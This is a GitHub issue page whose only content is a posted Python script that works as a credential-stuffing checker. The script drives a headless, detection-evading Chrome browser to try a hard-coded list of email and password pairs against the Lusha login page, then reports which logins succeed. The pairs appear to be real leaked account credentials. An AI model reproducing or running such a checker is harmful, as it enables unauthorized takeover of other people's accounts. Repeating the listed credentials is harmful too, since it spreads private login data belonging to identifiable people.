8000 T · Issue #12099 · actions/runner-images · GitHub
[go: up one dir, main page]
More Web Proxy on the site http://driver.im/
Skip to content

T #12099

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Closed
MrDot33 opened this issue Apr 27, 2025 · 0 comments
Closed

T #12099

MrDot33 opened this issue Apr 27, 2025 · 0 comments
Labels

Comments

@MrDot33
Copy link
MrDot33 commented Apr 27, 2025

import undetected_chromedriver.v2 as uc
from selenium.webdriver.common.by import By
import time

Website URL

login_url = "https://auth.lusha.com/login"

Define the accounts directly in the script

accounts = [
("leads@pamelamaalouf.it", "P@mel@200"),
("arpit@intervue.io", "Coolarpit@1"),
("stepan@dolejsiconsulting.cz", "583Heslo")
]

Function to perform login check

def login_check(username, password):
options = uc.ChromeOptions()
options.add_argument("--headless") # Run headless for no browser UI
driver = uc.Chrome(options=options)

# Open the login page
driver.get(login_url)
time.sleep(2)  # Wait for the page to load

# Find username and password fields
username_field = driver.find_element(By.NAME, "email")
password_field = driver.find_element(By.NAME, "password")

# Enter credentials
username_field.send_keys(username)
password_field.send_keys(password)

# Click login button
login_button = driver.find_element(By.XPATH, "//button[@type='submit']")
login_button.click()

# Wait for the login attempt to complete
time.sleep(5)

# Check if login was successful (example: by checking URL or page content)
if "dashboard" in driver.current_url or "dashboard" in driver.page_source:
    print(f"[+] Login successful for {username}")
else:
    print(f"[-] Login failed for {username}")

# Close the browser
driver.quit()

Main function to run login checks for all accounts

def check_all_accounts():
for username, password in accounts:
login_check(username, password)

Run the function

check_all_accounts()

Originally posted by @MrDot33 in #12045

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
Projects
None yet
Development

No branches or pull requests

3 participants
0